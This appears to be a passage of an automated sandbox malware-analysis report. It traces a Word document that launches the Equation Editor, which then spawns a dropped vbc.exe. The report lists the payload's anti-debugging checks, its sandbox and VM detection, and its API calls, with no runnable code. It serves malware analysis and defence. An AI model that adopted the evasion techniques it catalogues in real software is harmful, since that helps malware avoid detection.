Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion

barindex
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2684 Thread sleep time: -360000s >= -30000s Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F533D rdtsc 4_2_036F533D
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405C49
Source: C:\Users\Public\vbc.exe Code function: 4_2_00406873 FindFirstFileW,FindClose, 4_2_00406873
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B
Source: C:\Users\Public\vbc.exe API call chain: ExitProcess graph end node
Source: C:\Users\Public\vbc.exe API call chain: ExitProcess graph end node
Source: vbc.exe, 00000004.00000002.680238431.00000000008D4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Anti Debugging

barindex
Source: C:\Users\Public\vbc.exe Code function: 4_2_73281BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 4_2_73281BFF
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F533D rdtsc 4_2_036F533D
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F773F mov eax, dword ptr fs:[00000030h] 4_2_036F773F
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F6BA6 mov eax, dword ptr fs:[00000030h] 4_2_036F6BA6
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F522F mov eax, dword ptr fs:[00000030h] 4_2_036F522F
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F6EAF mov eax, dword ptr fs:[00000030h] 4_2_036F6EAF
Source: C:\Users\Public\vbc.exe Code function: 4_2_036F8354 RtlAddVectoredExceptionHandler, 4_2_036F8354

HIPS / PFW / Operating System Protection Evasion

barindex
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040352D
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs